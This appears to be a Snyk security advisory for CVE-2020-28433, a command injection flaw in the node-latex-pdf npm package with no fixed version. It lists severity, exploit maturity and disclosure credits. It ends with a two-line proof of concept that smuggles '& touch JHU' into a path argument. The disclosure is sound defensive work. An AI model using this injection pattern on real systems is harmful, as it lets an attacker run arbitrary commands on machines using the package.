Command Injection Affecting node-latex-pdf package, versions *


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.25% (66th percentile)

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  • Snyk IDSNYK-JS-NODELATEXPDF-1050426
  • published21 Jan 2021
  • disclosed11 Dec 2020
  • creditJHU System Security Lab

Introduced: 11 Dec 2020

CVE-2020-28433  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

There is no fixed version for node-latex-pdf.

Overview

node-latex-pdf is a package that converts your latex files to pdf format.

Affected versions of this package are vulnerable to Command Injection.

PoC

var a =require("node-latex-pdf");
a("./","& touch JHU",function(){})

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